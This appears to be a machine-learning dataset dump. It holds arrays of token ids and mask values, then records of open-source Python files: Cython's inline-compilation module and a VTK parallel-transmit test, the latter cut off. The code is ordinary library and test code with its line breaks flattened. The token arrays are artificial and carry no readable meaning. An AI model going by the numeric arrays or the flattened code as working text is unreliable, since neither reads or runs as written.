398, 291, 423, 2343, 275, 1052, 267, 543, 4837, 28091, 63, 1490, 8, 1365, 63, 515, 9, 465, 1318, 26, 288, 1564, 275, 2837, 16721, 18, 1360, 8, 505, 12, 16954, 3713, 1291, 356, 291, 423, 1122, 63, 1291, 63, 11300, 12, 4490, 283, 600, 356, 291, 423, 1122, 63, 600, 63, 11300, 1552, 267, 372, 1564, 12, 291, 423, 2343, 199, 199, 318, 1050, 63, 5503, 8, 27056, 304, 272, 7002, 83, 14, 5503, 63, 2888, 459, 1353, 16721, 418, 275, 9750, 16721, 5929, 199, 199, 318, 2274, 837, 272, 10166, 14, 27056, 63, 826, 14, 2242, 8, 525, 63, 5503, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nzavagli/UnrealPy
UnrealPyEmbed/Development/Python/2015.08.07-Python2710-x64-Source-vs2015/Python27/Source/Cython-0.22.1/Cython/Build/Inline.py
9
10977
from __future__ import absolute_import import sys, os, re, inspect import imp try: import hashlib except ImportError: import md5 as hashlib from distutils.core import Distribution, Extension from distutils.command.build_ext import build_ext import Cython from ..Compiler.Main import Context, CompilationOptions, default_options from ..Compiler.ParseTreeTransforms import (CythonTransform, SkipDeclarations, AnalyseDeclarationsTransform, EnvTransform) from ..Compiler.TreeFragment import parse_from_strings from .Dependencies import strip_string_literals, cythonize, cached_function from ..Compiler import Pipeline, Nodes from ..Utils import get_cython_cache_dir import cython as cython_module # A utility function to convert user-supplied ASCII strings to unicode. if sys.version_info[0] < 3: def to_unicode(s): if not isinstance(s, unicode): return s.decode('ascii') else: return s else: to_unicode = lambda x: x class UnboundSymbols(EnvTransform, SkipDeclarations): def __init__(self): CythonTransform.__init__(self, None) self.unbound = set() def visit_NameNode(self, node): if not self.current_env().lookup(node.name): self.unbound.add(node.name) return node def __call__(self, node): super(UnboundSymbols, self).__call__(node) return self.unbound @cached_function def unbound_symbols(code, context=None): code = to_unicode(code) if context is None: context = Context([], default_options) from ..Compiler.ParseTreeTransforms import AnalyseDeclarationsTransform tree = parse_from_strings('(tree fragment)', code) for phase in Pipeline.create_pipeline(context, 'pyx'): if phase is None: continue tree = phase(tree) if isinstance(phase, AnalyseDeclarationsTransform): break try: import builtins except ImportError: import __builtin__ as builtins return UnboundSymbols()(tree) - set(dir(builtins)) def unsafe_type(arg, context=None): py_type = type(arg) if py_type is int: return 'long' else: return safe_type(arg, context) def safe_type(arg, context=None): py_type = type(arg) if py_type in [list, tuple, dict, str]: return py_type.__name__ elif py_type is complex: return 'double complex' elif py_type is float: return 'double' elif py_type is bool: return 'bint' elif 'numpy' in sys.modules and isinstance(arg, sys.modules['numpy'].ndarray): return 'numpy.ndarray[numpy.%s_t, ndim=%s]' % (arg.dtype.name, arg.ndim) else: for base_type in py_type.mro(): if base_type.__module__ in ('__builtin__', 'builtins'): return 'object' module = context.find_module(base_type.__module__, need_pxd=False) if module: entry = module.lookup(base_type.__name__) if entry.is_type: return '%s.%s' % (base_type.__module__, base_type.__name__) return 'object' def _get_build_extension(): dist = Distribution() # Ensure the build respects distutils configuration by parsing # the configuration files config_files = dist.find_config_files() dist.parse_config_files(config_files) build_extension = build_ext(dist) build_extension.finalize_options() return build_extension @cached_function def _create_context(cython_include_dirs): return Context(list(cython_include_dirs), default_options) def cython_inline(code, get_type=unsafe_type, lib_dir=os.path.join(get_cython_cache_dir(), 'inline'), cython_include_dirs=['.'], force=False, quiet=False, locals=None, globals=None, **kwds): if get_type is None: get_type = lambda x: 'object' code = to_unicode(code) orig_code = code code, literals = strip_string_literals(code) code = strip_common_indent(code) ctx = _create_context(tuple(cython_include_dirs)) if locals is None: locals = inspect.currentframe().f_back.f_back.f_locals if globals is None: globals = inspect.currentframe().f_back.f_back.f_globals try: for symbol in unbound_symbols(code): if symbol in kwds: continue elif symbol in locals: kwds[symbol] = locals[symbol] elif symbol in globals: kwds[symbol] = globals[symbol] else: print("Couldn't find ", symbol) except AssertionError: if not quiet: # Parsing from strings not fully supported (e.g. cimports). print("Could not parse code as a string (to extract unbound symbols).") cimports = [] for name, arg in kwds.items(): if arg is cython_module: cimports.append('\ncimport cython as %s' % name) del kwds[name] arg_names = kwds.keys() arg_names.sort() arg_sigs = tuple([(get_type(kwds[arg], ctx), arg) for arg in arg_names]) key = orig_code, arg_sigs, sys.version_info, sys.executable, Cython.__version__ module_name = "_cython_inline_" + hashlib.md5(str(key).encode('utf-8')).hexdigest() if module_name in sys.modules: module = sys.modules[module_name] else: build_extension = None if cython_inline.so_ext is None: # Figure out and cache current extension suffix build_extension = _get_build_extension() cython_inline.so_ext = build_extension.get_ext_filename('') module_path = os.path.join(lib_dir, module_name + cython_inline.so_ext) if not os.path.exists(lib_dir): os.makedirs(lib_dir) if force or not os.path.isfile(module_path): cflags = [] c_include_dirs = [] qualified = re.compile(r'([.\w]+)[.]') for type, _ in arg_sigs: m = qualified.match(type) if m: cimports.append('\ncimport %s' % m.groups()[0]) # one special case if m.groups()[0] == 'numpy': import numpy c_include_dirs.append(numpy.get_include()) # cflags.append('-Wno-unused') module_body, func_body = extract_func_code(code) params = ', '.join(['%s %s' % a for a in arg_sigs]) module_code = """ %(module_body)s %(cimports)s def __invoke(%(params)s): %(func_body)s return locals() """ % {'cimports': '\n'.join(cimports), 'module_body': module_body, 'params': params, 'func_body': func_body } for key, value in literals.items(): module_code = module_code.replace(key, value) pyx_file = os.path.join(lib_dir, module_name + '.pyx') fh = open(pyx_file, 'w') try: fh.write(module_code) finally: fh.close() extension = Extension( name = module_name, sources = [pyx_file], include_dirs = c_include_dirs, extra_compile_args = cflags) if build_extension is None: build_extension = _get_build_extension() build_extension.extensions = cythonize([extension], include_path=cython_include_dirs, quiet=quiet) build_extension.build_temp = os.path.dirname(pyx_file) build_extension.build_lib = lib_dir build_extension.run() module = imp.load_dynamic(module_name, module_path) arg_list = [kwds[arg] for arg in arg_names] return module.__invoke(*arg_list) # Cached suffix used by cython_inline above. None should get # overridden with actual value upon the first cython_inline invocation cython_inline.so_ext = None non_space = re.compile('[^ ]') def strip_common_indent(code): min_indent = None lines = code.split('\n') for line in lines: match = non_space.search(line) if not match: continue # blank indent = match.start() if line[indent] == '#': continue # comment elif min_indent is None or min_indent > indent: min_indent = indent for ix, line in enumerate(lines): match = non_space.search(line) if not match or line[indent] == '#': continue else: lines[ix] = line[min_indent:] return '\n'.join(lines) module_statement = re.compile(r'^((cdef +(extern|class))|cimport|(from .+ cimport)|(from .+ import +[*]))') def extract_func_code(code): module = [] function = [] current = function code = code.replace('\t', ' ') lines = code.split('\n') for line in lines: if not line.startswith(' '): if module_statement.match(line): current = module else: current = function current.append(line) return '\n'.join(module), ' ' + '\n '.join(function) try: from inspect import getcallargs except ImportError: def getcallargs(func, *arg_values, **kwd_values): all = {} args, varargs, kwds, defaults = inspect.getargspec(func) if varargs is not None: all[varargs] = arg_values[len(args):] for name, value in zip(args, arg_values): all[name] = value for name, value in kwd_values.items(): if name in args: if name in all: raise TypeError("Duplicate argument %s" % name) all[name] = kwd_values.pop(name) if kwds is not None: all[kwds] = kwd_values elif kwd_values: raise TypeError("Unexpected keyword arguments: %s" % kwd_values.keys()) if defaults is None: defaults = () first_default = len(args) - len(defaults) for ix, name in enumerate(args): if name not in all: if ix >= first_default: all[name] = defaults[ix - first_default] else: raise TypeError("Missing argument: %s" % name) return all def get_body(source): ix = source.index(':') if source[:5] == 'lambda': return "return %s" % source[ix+1:] else: return source[ix+1:] # Lots to be done here... It would be especially cool if compiled functions # could invoke each other quickly. class RuntimeCompiledFunction(object): def __init__(self, f): self._f = f self._body = get_body(inspect.getsource(f)) def __call__(self, *args, **kwds): all = getcallargs(self._f, *args, **kwds) return cython_inline(self._body, locals=self._f.func_globals, globals=self._f.func_globals, **all)
mit
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 984, 12, 747, 12, 295, 12, 6485, 199, 646, 1742, 199, 199, 893, 26, 272, 492, 8337, 199, 2590, 3545, 26, 272, 492, 6128, 21, 465, 8337, 199, 199, 504, 7065, 14, 1018, 492, 11839, 12, 13282, 199, 504, 7065, 14, 1531, 14, 1506, 63, 832, 492, 1900, 63, 832, 199, 199, 646, 26741, 199, 504, 2508, 9131, 14, 6756, 492, 9470, 12, 3599, 13696, 4558, 12, 849, 63, 1419, 199, 199, 504, 2508, 9131, 14, 4003, 3987, 3188, 3351, 492, 334, 9156, 898, 6939, 12, 267, 8232, 31963, 1298, 12, 14279, 261, 31963, 1298, 6939, 12, 31543, 6939, 9, 199, 504, 2508, 9131, 14, 3987, 11080, 492, 2198, 63, 504, 63, 5465, 199, 504, 1275, 11927, 492, 6202, 63, 875, 63, 5955, 12, 29348, 794, 12, 6328, 63, 1593, 199, 504, 2508, 9131, 492, 19090, 12, 23836, 199, 504, 2508, 7535, 492, 664, 63, 20747, 63, 1637, 63, 694, 199, 646, 29348, 465, 29348, 63, 578, 199, 199, 3, 437, 11420, 805, 370, 3957, 922, 13, 22525, 10485, 3326, 370, 2649, 14, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 665, 650, 26, 272, 347, 370, 63, 2975, 8, 83, 304, 267, 340, 440, 1228, 8, 83, 12, 2649, 304, 288, 372, 308, 14, 2708, 360, 4371, 358, 267, 587, 26, 288, 372, 308, 199, 2836, 26, 272, 370, 63, 2975, 275, 2400, 671, 26, 671, 421, 199, 533, 1910, 3556, 20574, 8, 7744, 6939, 12, 8232, 31963, 1298, 304, 272, 347, 636, 826, 721, 277, 304, 267, 26741, 6939, 855, 826, 721, 277, 12, 488, 9, 267, 291, 14, 18124, 275, 663, 342, 272, 347, 5684, 63, 985, 1716, 8, 277, 12, 1031, 304, 267, 340, 440, 291, 14, 1818, 63, 1813, 1252, 3892, 8, 932, 14, 354, 304, 288, 291, 14, 18124, 14, 525, 8, 932, 14, 354, 9, 267, 372, 1031, 272, 347, 636, 1250, 721, 277, 12, 1031, 304, 267, 1613, 8, 1358, 3556, 20574, 12, 291, 2843, 1250, 721, 932, 9, 267, 372, 291, 14, 18124, 199, 199, 32, 5245, 63, 1593, 199, 318, 22334, 63, 7450, 8, 600, 12, 1067, 29, 403, 304, 272, 1233, 275, 370, 63, 2975, 8, 600, 9, 272, 340, 1067, 365, 488, 26, 267, 1067, 275, 9470, 8798, 849, 63, 1419, 9, 272, 687, 2508, 9131, 14, 4003, 3987, 3188, 3351, 492, 14279, 261, 31963, 1298, 6939, 272, 3123, 275, 2198, 63, 504, 63, 5465, 14097, 2350, 7956, 3196, 1233, 9, 272, 367, 7669, 315, 19090, 14, 981, 63, 7379, 8, 1100, 12, 283, 25579, 735, 267, 340, 7669, 365, 488, 26, 288, 1980, 267, 3123, 275, 7669, 8, 2350, 9, 267, 340, 1228, 8, 6971, 12, 14279, 261, 31963, 1298, 6939, 304, 288, 2059, 272, 862, 26, 267, 492, 12963, 272, 871, 3545, 26, 267, 492, 636, 5351, 363, 465, 12963, 272, 372, 1910, 3556, 20574, 24851, 2350, 9, 446, 663, 8, 694, 8, 10372, 430, 199, 199, 318, 19293, 63, 466, 8, 1273, 12, 1067, 29, 403, 304, 272, 1134, 63, 466, 275, 730, 8, 1273, 9, 272, 340, 1134, 63, 466, 365, 1109, 26, 267, 372, 283, 2809, 7, 272, 587, 26, 267, 372, 5048, 63, 466, 8, 1273, 12, 1067, 9, 199, 199, 318, 5048, 63, 466, 8, 1273, 12, 1067, 29, 403, 304, 272, 1134, 63, 466, 275, 730, 8, 1273, 9, 272, 340, 1134, 63, 466, 315, 359, 513, 12, 2008, 12, 1211, 12, 620, 2189, 267, 372, 1134, 63, 466, 855, 354, 363, 272, 916, 1134, 63, 466, 365, 6114, 26, 267, 372, 283, 3157, 6114, 7, 272, 916, 1134, 63, 466, 365, 2069, 26, 267, 372, 283, 3157, 7, 272, 916, 1134, 63, 466, 365, 2155, 26, 267, 372, 283, 66, 442, 7, 272, 916, 283, 4714, 7, 315, 984, 14, 3112, 436, 1228, 8, 1273, 12, 984, 14, 3112, 459, 4714, 2278, 8237, 304, 267, 372, 283, 4714, 14, 8237, 59, 4714, 4111, 83, 63, 84, 12, 17951, 2458, 83, 6616, 450, 334, 1273, 14, 2271, 14, 354, 12, 1680, 14, 8322, 9, 272, 587, 26, 267, 367, 1300, 63, 466, 315, 1134, 63, 466, 14, 17335, 837, 288, 340, 1300, 63, 466, 855, 578, 363, 315, 25038, 5351, 7500, 283, 10372, 735, 355, 372, 283, 785, 7, 288, 859, 275, 1067, 14, 1623, 63, 578, 8, 1095, 63, 466, 855, 578, 3108, 1929, 63, 80, 2207, 29, 797, 9, 288, 340, 859, 26, 355, 2397, 275, 859, 14, 3892, 8, 1095, 63, 466, 855, 354, 3368, 355, 340, 2397, 14, 374, 63, 466, 26, 490, 372, 1543, 83, 4111, 83, 7, 450, 334, 1095, 63, 466, 855, 578, 3108, 1300, 63, 466, 855, 354, 3368, 267, 372, 283, 785, 7, 199, 199, 318, 485, 362, 63, 1506, 63, 3435, 837, 272, 2917, 275, 11839, 342, 272, 327, 7523, 314, 1900, 14021, 83, 7065, 2897, 701, 6057, 272, 327, 314, 2897, 1584, 272, 1101, 63, 1725, 275, 2917, 14, 1623, 63, 888, 63, 1725, 342, 272, 2917, 14, 1122, 63, 888, 63, 1725, 8, 888, 63, 1725, 9, 272, 1900, 63, 3435, 275, 1900, 63, 832, 8, 2686, 9, 272, 1900, 63, 3435, 14, 14450, 63, 1419, 342, 272, 372, 1900, 63, 3435, 199, 199, 32, 5245, 63, 1593, 199, 318, 485, 981, 63, 1100, 8, 20747, 63, 2613, 63, 3220, 304, 272, 372, 9470, 8, 513, 8, 20747, 63, 2613, 63, 3220, 395, 849, 63, 1419, 9, 199, 199, 318, 29348, 63, 6460, 8, 600, 12, 2116, 664, 63, 466, 29, 14242, 63, 466, 12, 2116, 1973, 63, 694, 29, 736, 14, 515, 14, 904, 8, 362, 63, 20747, 63, 1637, 63, 694, 1062, 283, 6460, 659, 2116, 29348, 63, 2613, 63, 3220, 2968, 14, 995, 2116, 3542, 29, 797, 12, 2116, 11971, 29, 797, 12, 2116, 9480, 29, 403, 12, 2116, 7992, 29, 403, 12, 2116, 1011, 10340, 304, 272, 340, 664, 63, 466, 365, 488, 26, 267, 664, 63, 466, 275, 2400, 671, 26, 283, 785, 7, 272, 1233, 275, 370, 63, 2975, 8, 600, 9, 272, 2306, 63, 600, 275, 1233, 272, 1233, 12, 18041, 275, 6202, 63, 875, 63, 5955, 8, 600, 9, 272, 1233 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 984, 12, 747, 12, 295, 12, 6485, 199, 646, 1742, 199, 199, 893, 26, 272, 492, 8337, 199, 2590, 3545, 26, 272, 492, 6128, 21, 465, 8337, 199, 199, 504, 7065, 14, 1018, 492, 11839, 12, 13282, 199, 504, 7065, 14, 1531, 14, 1506, 63, 832, 492, 1900, 63, 832, 199, 199, 646, 26741, 199, 504, 2508, 9131, 14, 6756, 492, 9470, 12, 3599, 13696, 4558, 12, 849, 63, 1419, 199, 199, 504, 2508, 9131, 14, 4003, 3987, 3188, 3351, 492, 334, 9156, 898, 6939, 12, 267, 8232, 31963, 1298, 12, 14279, 261, 31963, 1298, 6939, 12, 31543, 6939, 9, 199, 504, 2508, 9131, 14, 3987, 11080, 492, 2198, 63, 504, 63, 5465, 199, 504, 1275, 11927, 492, 6202, 63, 875, 63, 5955, 12, 29348, 794, 12, 6328, 63, 1593, 199, 504, 2508, 9131, 492, 19090, 12, 23836, 199, 504, 2508, 7535, 492, 664, 63, 20747, 63, 1637, 63, 694, 199, 646, 29348, 465, 29348, 63, 578, 199, 199, 3, 437, 11420, 805, 370, 3957, 922, 13, 22525, 10485, 3326, 370, 2649, 14, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 665, 650, 26, 272, 347, 370, 63, 2975, 8, 83, 304, 267, 340, 440, 1228, 8, 83, 12, 2649, 304, 288, 372, 308, 14, 2708, 360, 4371, 358, 267, 587, 26, 288, 372, 308, 199, 2836, 26, 272, 370, 63, 2975, 275, 2400, 671, 26, 671, 421, 199, 533, 1910, 3556, 20574, 8, 7744, 6939, 12, 8232, 31963, 1298, 304, 272, 347, 636, 826, 721, 277, 304, 267, 26741, 6939, 855, 826, 721, 277, 12, 488, 9, 267, 291, 14, 18124, 275, 663, 342, 272, 347, 5684, 63, 985, 1716, 8, 277, 12, 1031, 304, 267, 340, 440, 291, 14, 1818, 63, 1813, 1252, 3892, 8, 932, 14, 354, 304, 288, 291, 14, 18124, 14, 525, 8, 932, 14, 354, 9, 267, 372, 1031, 272, 347, 636, 1250, 721, 277, 12, 1031, 304, 267, 1613, 8, 1358, 3556, 20574, 12, 291, 2843, 1250, 721, 932, 9, 267, 372, 291, 14, 18124, 199, 199, 32, 5245, 63, 1593, 199, 318, 22334, 63, 7450, 8, 600, 12, 1067, 29, 403, 304, 272, 1233, 275, 370, 63, 2975, 8, 600, 9, 272, 340, 1067, 365, 488, 26, 267, 1067, 275, 9470, 8798, 849, 63, 1419, 9, 272, 687, 2508, 9131, 14, 4003, 3987, 3188, 3351, 492, 14279, 261, 31963, 1298, 6939, 272, 3123, 275, 2198, 63, 504, 63, 5465, 14097, 2350, 7956, 3196, 1233, 9, 272, 367, 7669, 315, 19090, 14, 981, 63, 7379, 8, 1100, 12, 283, 25579, 735, 267, 340, 7669, 365, 488, 26, 288, 1980, 267, 3123, 275, 7669, 8, 2350, 9, 267, 340, 1228, 8, 6971, 12, 14279, 261, 31963, 1298, 6939, 304, 288, 2059, 272, 862, 26, 267, 492, 12963, 272, 871, 3545, 26, 267, 492, 636, 5351, 363, 465, 12963, 272, 372, 1910, 3556, 20574, 24851, 2350, 9, 446, 663, 8, 694, 8, 10372, 430, 199, 199, 318, 19293, 63, 466, 8, 1273, 12, 1067, 29, 403, 304, 272, 1134, 63, 466, 275, 730, 8, 1273, 9, 272, 340, 1134, 63, 466, 365, 1109, 26, 267, 372, 283, 2809, 7, 272, 587, 26, 267, 372, 5048, 63, 466, 8, 1273, 12, 1067, 9, 199, 199, 318, 5048, 63, 466, 8, 1273, 12, 1067, 29, 403, 304, 272, 1134, 63, 466, 275, 730, 8, 1273, 9, 272, 340, 1134, 63, 466, 315, 359, 513, 12, 2008, 12, 1211, 12, 620, 2189, 267, 372, 1134, 63, 466, 855, 354, 363, 272, 916, 1134, 63, 466, 365, 6114, 26, 267, 372, 283, 3157, 6114, 7, 272, 916, 1134, 63, 466, 365, 2069, 26, 267, 372, 283, 3157, 7, 272, 916, 1134, 63, 466, 365, 2155, 26, 267, 372, 283, 66, 442, 7, 272, 916, 283, 4714, 7, 315, 984, 14, 3112, 436, 1228, 8, 1273, 12, 984, 14, 3112, 459, 4714, 2278, 8237, 304, 267, 372, 283, 4714, 14, 8237, 59, 4714, 4111, 83, 63, 84, 12, 17951, 2458, 83, 6616, 450, 334, 1273, 14, 2271, 14, 354, 12, 1680, 14, 8322, 9, 272, 587, 26, 267, 367, 1300, 63, 466, 315, 1134, 63, 466, 14, 17335, 837, 288, 340, 1300, 63, 466, 855, 578, 363, 315, 25038, 5351, 7500, 283, 10372, 735, 355, 372, 283, 785, 7, 288, 859, 275, 1067, 14, 1623, 63, 578, 8, 1095, 63, 466, 855, 578, 3108, 1929, 63, 80, 2207, 29, 797, 9, 288, 340, 859, 26, 355, 2397, 275, 859, 14, 3892, 8, 1095, 63, 466, 855, 354, 3368, 355, 340, 2397, 14, 374, 63, 466, 26, 490, 372, 1543, 83, 4111, 83, 7, 450, 334, 1095, 63, 466, 855, 578, 3108, 1300, 63, 466, 855, 354, 3368, 267, 372, 283, 785, 7, 199, 199, 318, 485, 362, 63, 1506, 63, 3435, 837, 272, 2917, 275, 11839, 342, 272, 327, 7523, 314, 1900, 14021, 83, 7065, 2897, 701, 6057, 272, 327, 314, 2897, 1584, 272, 1101, 63, 1725, 275, 2917, 14, 1623, 63, 888, 63, 1725, 342, 272, 2917, 14, 1122, 63, 888, 63, 1725, 8, 888, 63, 1725, 9, 272, 1900, 63, 3435, 275, 1900, 63, 832, 8, 2686, 9, 272, 1900, 63, 3435, 14, 14450, 63, 1419, 342, 272, 372, 1900, 63, 3435, 199, 199, 32, 5245, 63, 1593, 199, 318, 485, 981, 63, 1100, 8, 20747, 63, 2613, 63, 3220, 304, 272, 372, 9470, 8, 513, 8, 20747, 63, 2613, 63, 3220, 395, 849, 63, 1419, 9, 199, 199, 318, 29348, 63, 6460, 8, 600, 12, 2116, 664, 63, 466, 29, 14242, 63, 466, 12, 2116, 1973, 63, 694, 29, 736, 14, 515, 14, 904, 8, 362, 63, 20747, 63, 1637, 63, 694, 1062, 283, 6460, 659, 2116, 29348, 63, 2613, 63, 3220, 2968, 14, 995, 2116, 3542, 29, 797, 12, 2116, 11971, 29, 797, 12, 2116, 9480, 29, 403, 12, 2116, 7992, 29, 403, 12, 2116, 1011, 10340, 304, 272, 340, 664, 63, 466, 365, 488, 26, 267, 664, 63, 466, 275, 2400, 671, 26, 283, 785, 7, 272, 1233, 275, 370, 63, 2975, 8, 600, 9, 272, 2306, 63, 600, 275, 1233, 272, 1233, 12, 18041, 275, 6202, 63, 875, 63, 5955, 8, 600, 9, 272, 1233, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
demarle/VTK
Filters/Parallel/Testing/Python/testTransmit.py
8
3814
import vtk from vtk.test import Testing from vtk.util.misc import vtkGetTempDir VTK_TEMP_DIR = vtkGetTempDir() contr = vtk.vtkMultiProcessController.GetGlobalController() if not contr: nranks = 1 rank = 0 else: nranks = contr.GetNumberOfProcesses() rank = contr.GetLocalProcessId() def GetSource(dataType): s = vtk.vtkRTAnalyticSource() # Fake serial source if rank == 0: s.Update() if dataType == 'ImageData': return s.GetOutput() elif dataType == 'UnstructuredGrid': dst = vtk.vtkDataSetTriangleFilter() dst.SetInputData(s.GetOutput()) dst.Update() return dst.GetOutput() elif dataType == 'RectilinearGrid': input = s.GetOutput() rg = vtk.vtkRectilinearGrid() rg.SetExtent(input.GetExtent()) dims = input.GetDimensions() spacing = input.GetSpacing() x = vtk.vtkFloatArray() x.SetNumberOfTuples(dims[0]) for i in range(dims[0]): x.SetValue(i, spacing[0]*i) y = vtk.vtkFloatArray() y.SetNumberOfTuples(dims[1]) for i in range(dims[1]): y.SetValue(i, spacing[1]*i) z = vtk.vtkFloatArray() z.SetNumberOfTuples(dims[2]) for i in range(dims[2]): z.SetValue(i, spacing[2]*i) rg.SetXCoordinates(x) rg.SetYCoordinates(y) rg.SetZCoordinates(z) rg.GetPointData().ShallowCopy(input.GetPointData()) return rg elif dataType == 'StructuredGrid': input = s.GetOutput() sg = vtk.vtkStructuredGrid() sg.SetExtent(input.GetExtent()) pts = vtk.vtkPoints() sg.SetPoints(pts) npts = input.GetNumberOfPoints() for i in xrange(npts): pts.InsertNextPoint(input.GetPoint(i)) sg.GetPointData().ShallowCopy(input.GetPointData()) return sg def TestDataType(dataType, filter): if rank == 0: print dataType s = GetSource(dataType) da = vtk.vtkIntArray() da.SetNumberOfTuples(6) if rank == 0: try: ext = s.GetExtent() except: ext = (0, -1, 0, -1, 0, -1) for i in range(6): da.SetValue(i, ext[i]) contr.Broadcast(da, 0) ext = [] for i in range(6): ext.append(da.GetValue(i)) ext = tuple(ext) tp = vtk.vtkTrivialProducer() tp.SetOutput(s) 